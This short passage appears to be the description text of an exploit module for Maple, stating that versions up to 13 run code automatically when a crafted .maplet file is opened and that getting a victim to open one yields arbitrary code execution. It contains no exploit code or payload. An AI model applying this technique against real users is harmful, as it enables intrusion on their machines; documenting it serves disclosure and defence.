|
|
This module harnesses Maple's ability to create files and execute commands
|
|
automatically when opening a Maplet. All versions up to 13 are suspected
|
|
vulnerable. Testing was conducted with version 13 on Windows. Standard security
|
|
settings prevent code from running in a normal maple worksheet without user
|
|
interaction, but those setting do not prevent code in a Maplet from running.
|
|
|
|
In order for the payload to be executed, an attacker must convince someone to
|
|
open a specially modified .maplet file with Maple. By doing so, an attacker can
|
|
execute arbitrary code as the victim user.
